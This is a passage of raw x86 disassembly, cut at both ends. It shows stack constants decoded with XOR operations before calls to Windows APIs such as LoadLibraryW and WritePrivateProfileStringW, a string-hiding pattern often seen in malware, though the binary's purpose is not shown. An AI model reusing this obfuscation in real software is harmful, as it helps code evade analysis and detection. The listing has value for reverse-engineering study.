mov dword [ebp - 0x8a4], 0x961c3337
mov dword [ebp - 0x2120], 0x877f8260
mov dword [ebp - 0x211c], 0x961c3337
mov dword [ebp - 0x8a0], 0x6d4346e1
mov dword [ebp - 0x89c], 0xb36bf090
mov dword [ebp - 0x2118], 0x6d4346e1
mov dword [ebp - 0x2114], 0xb36bf090
mov dword [ebp - 0x898], 0x24a76342
mov dword [ebp - 0x894], 0x97ad3619
mov dword [ebp - 0x2110], 0x24a76342
mov dword [ebp - 0x210c], 0x97ad3619
mov dword [ebp - 0x890], 0x685fde43
mov dword [ebp - 0x88c], 0x52635e52
mov dword [ebp - 0x2108], 0x685fde43
mov dword [ebp - 0x2104], 0x52635e52
mov dword [ebp - 0x888], 0x10dc2704
mov dword [ebp - 0x884], 0xf6b6539b
mov dword [ebp - 0x2100], 0x10dc2704
mov dword [ebp - 0x20fc], 0xf6b6539b
mov dword [ebp - 0x880], 0xedbfc845
mov dword [ebp - 0x87c], 0x6c61c814
mov dword [ebp - 0x20f8], 0xedbfc845
mov dword [ebp - 0x20f4], 0x6c61c814
mov dword [ebp - 0x878], 0xe47b7d46
mov dword [ebp - 0x874], 0x27e39bbd
mov dword [ebp - 0x20f0], 0xe47b7d46
mov dword [ebp - 0x20ec], 0x27e39bbd
call fcn.0045f460
mov dword [ebp - 0x1260], 0xeb72e09e
mov dword [ebp - 0x125c], 0xb705f49c
mov dword [ebp - 0x2228], 0xeb72e09e
mov dword [ebp - 0x2224], 0xb705f49c
mov dword [ebp - 0x1258], 0xf41ef540
mov dword [ebp - 0x1254], 0xf57f5c17
mov dword [ebp - 0x2220], 0xf41ef540
mov dword [ebp - 0x221c], 0xf57f5c17
mov dword [ebp - 0x1250], 0x9263494
mov dword [ebp - 0x124c], 0xd60387b0
mov dword [ebp - 0x2218], 0x9263494
mov dword [ebp - 0x2214], 0xd60387b0
mov dword [ebp - 0x1248], 0x41d5432c
mov dword [ebp - 0x1244], 0xe5c2426a
mov dword [ebp - 0x2210], 0x41d5432c
mov dword [ebp - 0x220c], 0xe5c2426a
mov dword [ebp - 0x1240], 0x4838b02a
mov dword [ebp - 0x123c], 0x722f1216
mov dword [ebp - 0x2208], 0x4838b02a
lea eax, [ebp - 0x21e8]
mov dword [ebp - 0x2204], 0x722f1216
push eax
lea eax, [ebp - 0x2228]
mov dword [ebp - 0x1238], 0x62ae422c
push eax
lea ecx, [ebp - 0x3290]
mov dword [ebp - 0x1234], 0x959621f4
mov dword [ebp - 0x2200], 0x62ae422c
mov dword [ebp - 0x21fc], 0x959621f4
mov dword [ebp - 0x1230], 0xd7daac2a
mov dword [ebp - 0x122c], 0x4505ed34
mov dword [ebp - 0x21f8], 0xd7daac2a
mov dword [ebp - 0x21f4], 0x4505ed34
mov dword [ebp - 0x1228], 0xe47b7d4c
mov dword [ebp - 0x1224], 0x27e39bbd
mov dword [ebp - 0x21f0], 0xe47b7d4c
mov dword [ebp - 0x21ec], 0x27e39bbd
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x1260]
lea eax, [ebp - 0x1260]
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1260], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1250]
movaps xmmword [ebp - 0x1250], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1240]
movaps xmmword [ebp - 0x1240], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1230]
push esi
push eax
movaps xmmword [ebp - 0x1230], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2e20], 0xdd07cf8f
lea eax, [ebp - 0x2e10]
mov dword [ebp - 0x2e1c], 0xc56a86ab
lea ecx, [ebp - 0x3288]
mov dword [ebp - 0x2e18], 0x877f8260
mov dword [ebp - 0x2e14], 0x961c3337
push eax
lea eax, [ebp - 0x2e20]
push eax
call fcn.0045f460
lea eax, [ebp - 0x2e20]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3280]
mov dword [ebp - 0x2e30], 0x8e528edf
mov dword [ebp - 0x2e2c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2e28], 0x877f8260
mov dword [ebp - 0x2e24], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0xbe0], 0xdd07cf8f
push eax
lea eax, [ebp - 0x2e40]
mov dword [ebp - 0xbdc], 0xc56a86ab
push eax
lea ecx, [ebp - 0x3278]
mov dword [ebp - 0x2e40], 0xdd07cf8f
mov dword [ebp - 0x2e3c], 0xc56a86ab
mov dword [ebp - 0xbd8], 0x877f8260
mov dword [ebp - 0xbd4], 0x961c3337
mov dword [ebp - 0x2e38], 0x877f8260
mov dword [ebp - 0x2e34], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xbe0]
pxor xmm1, xmmword [ebp - 0xbe0]
push eax
movaps xmmword [ebp - 0xbe0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d04e
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x208
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005c9580
add esp, 0xc
mov dword [ebp - 0x14e8], 0x8e3d8e9c
lea eax, [ebp - 0x14c8]
mov dword [ebp - 0x14e4], 0xc5198680
lea ecx, [ebp - 0x3270]
mov dword [ebp - 0x14e0], 0x870d8214
mov dword [ebp - 0x14dc], 0x967f3342
push eax
lea eax, [ebp - 0x14e8]
mov dword [ebp - 0x14d8], 0x6d2c4695
push eax
mov dword [ebp - 0x14d4], 0xb345f0e2
mov dword [ebp - 0x14d0], 0x24cb6326
mov dword [ebp - 0x14cc], 0x97ad3675
call fcn.0045f460
lea eax, [ebp - 0x14a8]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x14c8]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3268]
mov dword [ebp - 0x14c8], 0x8e528edf
mov dword [ebp - 0x14c4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x14c0], 0x877f8260
mov dword [ebp - 0x14bc], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x14b8], 0x6d4346e1
mov dword [ebp - 0x14b4], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x14b0], 0x24a76342
mov dword [ebp - 0x14ac], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1488]
mov dword [ebp - 0xc30], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x14a8]
mov dword [ebp - 0xc2c], 0xc5198680
push eax
lea ecx, [ebp - 0x3260]
mov dword [ebp - 0x14a8], 0x8e3d8e9c
mov dword [ebp - 0x14a4], 0xc5198680
mov dword [ebp - 0xc28], 0x870d8214
mov dword [ebp - 0xc24], 0x967f3342
mov dword [ebp - 0x14a0], 0x870d8214
mov dword [ebp - 0x149c], 0x967f3342
mov dword [ebp - 0xc20], 0x6d2c4695
mov dword [ebp - 0xc1c], 0xb345f0e2
mov dword [ebp - 0x1498], 0x6d2c4695
mov dword [ebp - 0x1494], 0xb345f0e2
mov dword [ebp - 0xc18], 0x24cb6326
mov dword [ebp - 0xc14], 0x97ad3675
mov dword [ebp - 0x1490], 0x24cb6326
mov dword [ebp - 0x148c], 0x97ad3675
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xc30]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xc30], xmm1
lea eax, [ebp - 0xc30]
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc20]
push 0x104
push eax
movaps xmmword [ebp - 0xc20], xmm1
call edi
push 0xc0
mov dl, 1
lea ecx, [ebp - 0x228]
call fcn.0044c4f0
add esp, 4
mov dword [ebp - 0x1488], 0xe727d8d5
lea eax, [ebp - 0x1468]
mov dword [ebp - 0x1484], 0xab05eace
lea ecx, [ebp - 0x3258]
mov dword [ebp - 0x1480], 0xef14a207
mov dword [ebp - 0x147c], 0xf23c5a58
push eax
lea eax, [ebp - 0x1488]
mov dword [ebp - 0x1478], 0x4d24288e
push eax
mov dword [ebp - 0x1474], 0x930a99f7
mov dword [ebp - 0x1470], 0xad7022e
mov dword [ebp - 0x146c], 0x97ad3613
call fcn.0045f460
lea eax, [ebp - 0x1448]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1468]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3250]
mov dword [ebp - 0x1468], 0x8e528edf
mov dword [ebp - 0x1464], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1460], 0x877f8260
mov dword [ebp - 0x145c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1458], 0x6d4346e1
mov dword [ebp - 0x1454], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1450], 0x24a76342
mov dword [ebp - 0x144c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1428]
mov dword [ebp - 0xc50], 0xe727d8d5
push eax
lea eax, [ebp - 0x1448]
mov dword [ebp - 0xc4c], 0xab05eace
push eax
lea ecx, [ebp - 0x3248]
mov dword [ebp - 0x1448], 0xe727d8d5
mov dword [ebp - 0x1444], 0xab05eace
mov dword [ebp - 0xc48], 0xef14a207
mov dword [ebp - 0xc44], 0xf23c5a58
mov dword [ebp - 0x1440], 0xef14a207
mov dword [ebp - 0x143c], 0xf23c5a58
mov dword [ebp - 0xc40], 0x4d24288e
mov dword [ebp - 0xc3c], 0x930a99f7
mov dword [ebp - 0x1438], 0x4d24288e
mov dword [ebp - 0x1434], 0x930a99f7
mov dword [ebp - 0xc38], 0xad7022e
mov dword [ebp - 0xc34], 0x97ad3613
mov dword [ebp - 0x1430], 0xad7022e
mov dword [ebp - 0x142c], 0x97ad3613
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xc50]
lea eax, [ebp - 0xc50]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc50], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc40]
push eax
movaps xmmword [ebp - 0xc40], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x1428], 0x8e208e8b
lea eax, [ebp - 0x1408]
mov dword [ebp - 0x1424], 0xc5298697
mov dword [ebp - 0x1420], 0x870a820f
mov dword [ebp - 0x141c], 0x96683359
push eax
mov dword [ebp - 0x1418], 0x6d4346e1
lea eax, [ebp - 0x1428]
mov dword [ebp - 0x1414], 0xb36bf090
mov dword [ebp - 0x1410], 0x24a76342
mov dword [ebp - 0x140c], 0x97ad3619
push eax
lea ecx, [ebp - 0x3240]
call fcn.0045f460
lea eax, [ebp - 0x13e8]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1408]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3238]
mov dword [ebp - 0x1408], 0x8e528edf
mov dword [ebp - 0x1404], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1400], 0x877f8260
mov dword [ebp - 0x13fc], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x13f8], 0x6d4346e1
mov dword [ebp - 0x13f4], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x13f0], 0x24a76342
mov dword [ebp - 0x13ec], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x13c8]
mov dword [ebp - 0xc70], 0x8e208e8b
push eax
lea eax, [ebp - 0x13e8]
mov dword [ebp - 0xc6c], 0xc5298697
push eax
lea ecx, [ebp - 0x3230]
mov dword [ebp - 0x13e8], 0x8e208e8b
mov dword [ebp - 0x13e4], 0xc5298697
mov dword [ebp - 0xc68], 0x870a820f
mov dword [ebp - 0xc64], 0x96683359
mov dword [ebp - 0x13e0], 0x870a820f
mov dword [ebp - 0x13dc], 0x96683359
mov dword [ebp - 0xc60], 0x6d4346e1
mov dword [ebp - 0xc5c], 0xb36bf090
mov dword [ebp - 0x13d8], 0x6d4346e1
mov dword [ebp - 0x13d4], 0xb36bf090
mov dword [ebp - 0xc58], 0x24a76342
mov dword [ebp - 0xc54], 0x97ad3619
mov dword [ebp - 0x13d0], 0x24a76342
mov dword [ebp - 0x13cc], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xc70]
lea eax, [ebp - 0x2e40]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3228]
movaps xmmword [ebp - 0xc70], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc60]
push eax
lea eax, [ebp - 0x2e50]
movaps xmmword [ebp - 0xc60], xmm1
push eax
mov dword [ebp - 0x2e50], 0x8e068e8d
mov dword [ebp - 0x2e4c], 0xc56a86ee
mov dword [ebp - 0x2e48], 0x877f8260
mov dword [ebp - 0x2e44], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2e50]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3220]
mov dword [ebp - 0x2e60], 0x8e528edf
mov dword [ebp - 0x2e5c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2e58], 0x877f8260
mov dword [ebp - 0x2e54], 0x961c3337
call fcn.0045f460
mov dword [ebp - 0xbf0], 0x8e068e8d
mov dword [ebp - 0xbec], 0xc56a86ee
mov dword [ebp - 0x2e70], 0x8e068e8d
mov dword [ebp - 0x2e6c], 0xc56a86ee
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0xbe8], 0x877f8260
push eax
lea eax, [ebp - 0x2e70]
mov dword [ebp - 0xbe4], 0x961c3337
push eax
lea ecx, [ebp - 0x3218]
mov dword [ebp - 0x2e68], 0x877f8260
mov dword [ebp - 0x2e64], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xbf0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0x66ee54
lea eax, [ebp - 0xc70]
movaps xmmword [ebp - 0xbf0], xmm1
push eax
lea eax, [ebp - 0xbf0]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x720
lea eax, [ebp - 0x29a8]
mov dword [ebp - 0x2b60], 0
push 0
push eax
mov byte [ebp - 0x2b3d], 0
call fcn.005c9580
add esp, 0xc
mov dword [ebp - 0x2168], 0xe23bef99
lea eax, [ebp - 0x2128]
mov dword [ebp - 0x2164], 0xb14ae28b
lea ecx, [ebp - 0x3210]
mov dword [ebp - 0x2160], 0xe916a20f
mov dword [ebp - 0x215c], 0xf772475e
push eax
lea eax, [ebp - 0x2168]
mov dword [ebp - 0x2158], 0x8392f8d
push eax
mov dword [ebp - 0x2154], 0x9e05a6b0
mov dword [ebp - 0x2150], 0x8df020a
mov dword [ebp - 0x214c], 0xfed55339
mov dword [ebp - 0x2148], 0xf31b737
mov dword [ebp - 0x2144], 0x20111b58
mov dword [ebp - 0x2140], 0x73fc556b
mov dword [ebp - 0x213c], 0xccd337f4
mov dword [ebp - 0x2138], 0xeddbed65
mov dword [ebp - 0x2134], 0x6c61c814
mov dword [ebp - 0x2130], 0xe47b7d46
mov dword [ebp - 0x212c], 0x27e39bbd
call fcn.0045f460
mov dword [ebp - 0x8b0], 0x8e528edf
mov dword [ebp - 0x8ac], 0xc56a86ee
mov dword [ebp - 0x21a8], 0x8e528edf
mov dword [ebp - 0x21a4], 0xc56a86ee
mov dword [ebp - 0x8a8], 0x877f8260
mov dword [ebp - 0x8a4], 0x961c3337
mov dword [ebp - 0x21a0], 0x877f8260
mov dword [ebp - 0x219c], 0x961c3337
mov dword [ebp - 0x8a0], 0x6d4346e1
mov dword [ebp - 0x89c], 0xb36bf090
mov dword [ebp - 0x2198], 0x6d4346e1
mov dword [ebp - 0x2194], 0xb36bf090
mov dword [ebp - 0x898], 0x24a76342
mov dword [ebp - 0x894], 0x97ad3619
mov dword [ebp - 0x2190], 0x24a76342
mov dword [ebp - 0x218c], 0x97ad3619
mov dword [ebp - 0x890], 0x685fde43
mov dword [ebp - 0x88c], 0x52635e52
mov dword [ebp - 0x2188], 0x685fde43
mov dword [ebp - 0x2184], 0x52635e52
mov dword [ebp - 0x888], 0x10dc2704
mov dword [ebp - 0x884], 0xf6b6539b
mov dword [ebp - 0x2180], 0x10dc2704
mov dword [ebp - 0x217c], 0xf6b6539b
mov dword [ebp - 0x880], 0xedbfc845
mov dword [ebp - 0x87c], 0x6c61c814
mov dword [ebp - 0x2178], 0xedbfc845
mov dword [ebp - 0x2174], 0x6c61c814
mov dword [ebp - 0x878], 0xe47b7d46
mov dword [ebp - 0x874], 0x27e39bbd
lea eax, [ebp - 0x2168]
mov dword [ebp - 0x2170], 0xe47b7d46
push eax
lea eax, [ebp - 0x21a8]
mov dword [ebp - 0x216c], 0x27e39bbd
push eax
lea ecx, [ebp - 0x3208]
call fcn.0045f460
lea eax, [ebp - 0x21a8]
mov dword [ebp - 0x12a0], 0xe23bef99
push eax
lea eax, [ebp - 0x21e8]
mov dword [ebp - 0x129c], 0xb14ae28b
push eax
lea ecx, [ebp - 0x3200]
mov dword [ebp - 0x21e8], 0xe23bef99
mov dword [ebp - 0x21e4], 0xb14ae28b
mov dword [ebp - 0x1298], 0xe916a20f
mov dword [ebp - 0x1294], 0xf772475e
mov dword [ebp - 0x21e0], 0xe916a20f
mov dword [ebp - 0x21dc], 0xf772475e
mov dword [ebp - 0x1290], 0x8392f8d
mov dword [ebp - 0x128c], 0x9e05a6b0
mov dword [ebp - 0x21d8], 0x8392f8d
mov dword [ebp - 0x21d4], 0x9e05a6b0
mov dword [ebp - 0x1288], 0x8df020a
mov dword [ebp - 0x1284], 0xfed55339
mov dword [ebp - 0x21d0], 0x8df020a
mov dword [ebp - 0x21cc], 0xfed55339
mov dword [ebp - 0x1280], 0xf31b737
mov dword [ebp - 0x127c], 0x20111b58
mov dword [ebp - 0x21c8], 0xf31b737
mov dword [ebp - 0x21c4], 0x20111b58
mov dword [ebp - 0x1278], 0x73fc556b
mov dword [ebp - 0x1274], 0xccd337f4
mov dword [ebp - 0x21c0], 0x73fc556b
mov dword [ebp - 0x21bc], 0xccd337f4
mov dword [ebp - 0x1270], 0xeddbed65
mov dword [ebp - 0x126c], 0x6c61c814
mov dword [ebp - 0x21b8], 0xeddbed65
mov dword [ebp - 0x21b4], 0x6c61c814
mov dword [ebp - 0x1268], 0xe47b7d46
mov dword [ebp - 0x1264], 0x27e39bbd
mov dword [ebp - 0x21b0], 0xe47b7d46
mov dword [ebp - 0x21ac], 0x27e39bbd
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x12a0]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x12a0], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1290]
movaps xmmword [ebp - 0x1290], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1280]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1270]
movaps xmmword [ebp - 0x1270], xmm1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x12a0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2789], al
test al, al
jne 0x459f90
lea eax, [ebp - 0x2e70]
mov dword [ebp - 0x2e80], 0xe120fc9a
push eax
lea eax, [ebp - 0x2e80]
mov dword [ebp - 0x2e7c], 0xc56a869c
push eax
lea ecx, [ebp - 0x31f8]
mov dword [ebp - 0x2e78], 0x877f8260
mov dword [ebp - 0x2e74], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2e80]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2e90]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x31f0]
mov dword [ebp - 0x2e90], 0x8e528edf
mov dword [ebp - 0x2e8c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2e88], 0x877f8260
mov dword [ebp - 0x2e84], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2e90]
mov dword [ebp - 0xc00], 0xe120fc9a
push eax
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0xbfc], 0xc56a869c
push eax
lea ecx, [ebp - 0x31e8]
mov dword [ebp - 0x2ea0], 0xe120fc9a
mov dword [ebp - 0x2e9c], 0xc56a869c
mov dword [ebp - 0xbf8], 0x877f8260
mov dword [ebp - 0xbf4], 0x961c3337
mov dword [ebp - 0x2e98], 0x877f8260
mov dword [ebp - 0x2e94], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xc00]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xc00], xmm1
mov al, byte [ebp + ecx - 0xc00]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2689], al
test al, al
jne 0x45a0d0
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x228]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x2992], ax
test ax, ax
jne 0x45a0f0
lea eax, [ebp - 0x13a8]
mov dword [ebp - 0x13c8], 0x8e378eb4
push eax
lea eax, [ebp - 0x13c8]
mov dword [ebp - 0x13c4], 0xc504869c
push eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x13c0], 0x87138205
mov dword [ebp - 0x13bc], 0x962e3304
mov dword [ebp - 0x13b8], 0x6d2746cf
mov dword [ebp - 0x13b4], 0xb307f0fc
mov dword [ebp - 0x13b0], 0x24a76342
mov dword [ebp - 0x13ac], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1388]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x13a8]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x31d8]
mov dword [ebp - 0x13a8], 0x8e528edf
mov dword [ebp - 0x13a4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x13a0], 0x877f8260
mov dword [ebp - 0x139c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1398], 0x6d4346e1
mov dword [ebp - 0x1394], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1390], 0x24a76342
mov dword [ebp - 0x138c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1a28]
mov dword [ebp - 0xc90], 0x8e378eb4
push eax
lea eax, [ebp - 0x1a48]
mov dword [ebp - 0xc8c], 0xc504869c
push eax
lea ecx, [ebp - 0x31d0]
mov dword [ebp - 0x1a48], 0x8e378eb4
mov dword [ebp - 0x1a44], 0xc504869c
mov dword [ebp - 0xc88], 0x87138205
mov dword [ebp - 0xc84], 0x962e3304
mov dword [ebp - 0x1a40], 0x87138205
mov dword [ebp - 0x1a3c], 0x962e3304
mov dword [ebp - 0xc80], 0x6d2746cf
mov dword [ebp - 0xc7c], 0xb307f0fc
mov dword [ebp - 0x1a38], 0x6d2746cf
mov dword [ebp - 0x1a34], 0xb307f0fc
mov dword [ebp - 0xc78], 0x24a76342
mov dword [ebp - 0xc74], 0x97ad3619
mov dword [ebp - 0x1a30], 0x24a76342
mov dword [ebp - 0x1a2c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xc90]
lea eax, [ebp - 0xc90]
pxor xmm1, xmmword [ebp - 0x860]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmmword [ebp - 0xc90], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc80]
push eax
movaps xmmword [ebp - 0xc80], xmm1
call edi
mov dword [ebp - 0x2b3c], eax
lea eax, [ebp - 0x1a08]
push eax
lea eax, [ebp - 0x1a28]
mov dword [ebp - 0x1a28], 0x8e218eaa
mov dword [ebp - 0x1a24], 0xc518868b
mov dword [ebp - 0x1a20], 0x874d8253
mov dword [ebp - 0x1a1c], 0x96783319
mov dword [ebp - 0x1a18], 0x6d2f468d
mov dword [ebp - 0x1a14], 0xb36bf090
mov dword [ebp - 0x1a10], 0x24a76342
mov dword [ebp - 0x1a0c], 0x97ad3619
push eax
lea ecx, [ebp - 0x31c8]
call fcn.0045f460
lea eax, [ebp - 0x19e8]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1a08]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x31c0]
mov dword [ebp - 0x1a08], 0x8e528edf
mov dword [ebp - 0x1a04], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1a00], 0x877f8260
mov dword [ebp - 0x19fc], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x19f8], 0x6d4346e1
mov dword [ebp - 0x19f4], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x19f0], 0x24a76342
mov dword [ebp - 0x19ec], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x19c8]
mov dword [ebp - 0xcb0], 0x8e218eaa
push eax
lea eax, [ebp - 0x19e8]
mov dword [ebp - 0xcac], 0xc518868b
push eax
lea ecx, [ebp - 0x31b8]
mov dword [ebp - 0x19e8], 0x8e218eaa
mov dword [ebp - 0x19e4], 0xc518868b
mov dword [ebp - 0xca8], 0x874d8253
mov dword [ebp - 0xca4], 0x96783319
mov dword [ebp - 0x19e0], 0x874d8253
mov dword [ebp - 0x19dc], 0x96783319
mov dword [ebp - 0xca0], 0x6d2f468d
mov dword [ebp - 0xc9c], 0xb36bf090
mov dword [ebp - 0x19d8], 0x6d2f468d
mov dword [ebp - 0x19d4], 0xb36bf090
mov dword [ebp - 0xc98], 0x24a76342
mov dword [ebp - 0xc94], 0x97ad3619
mov dword [ebp - 0x19d0], 0x24a76342
mov dword [ebp - 0x19cc], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xcb0]
pxor xmm1, xmmword [ebp - 0xcb0]
movaps xmmword [ebp - 0xcb0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xca0]
push eax
movaps xmmword [ebp - 0xca0], xmm1
call edi
mov esi, eax
mov dword [ebp - 0x19c8], 0x8e218eb2
lea eax, [ebp - 0x19a8]
mov dword [ebp - 0x19c4], 0xc5098698
push eax
lea eax, [ebp - 0x19c8]
mov dword [ebp - 0x19c0], 0x870b8212
push eax
lea ecx, [ebp - 0x31b0]
mov dword [ebp - 0x19bc], 0x96783319
mov dword [ebp - 0x19b8], 0x6d2f468d
mov dword [ebp - 0x19b4], 0xb36bf090
mov dword [ebp - 0x19b0], 0x24a76342
mov dword [ebp - 0x19ac], 0x97ad3619
call fcn.0045f460
mov dword [ebp - 0x860], 0x8e528edf
mov dword [ebp - 0x85c], 0xc56a86ee
mov dword [ebp - 0x19a8], 0x8e528edf
mov dword [ebp - 0x19a4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x19a0], 0x877f8260
mov dword [ebp - 0x199c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1998], 0x6d4346e1
lea eax, [ebp - 0x1988]
mov dword [ebp - 0x1994], 0xb36bf090
push eax
lea eax, [ebp - 0x19a8]
mov dword [ebp - 0x848], 0x24a76342
push eax
lea ecx, [ebp - 0x31a8]
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1990], 0x24a76342
mov dword [ebp - 0x198c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1968]
mov dword [ebp - 0xcd0], 0x8e218eb2
push eax
lea eax, [ebp - 0x1988]
mov dword [ebp - 0xccc], 0xc5098698
push eax
lea ecx, [ebp - 0x31a0]
mov dword [ebp - 0x1988], 0x8e218eb2
mov dword [ebp - 0x1984], 0xc5098698
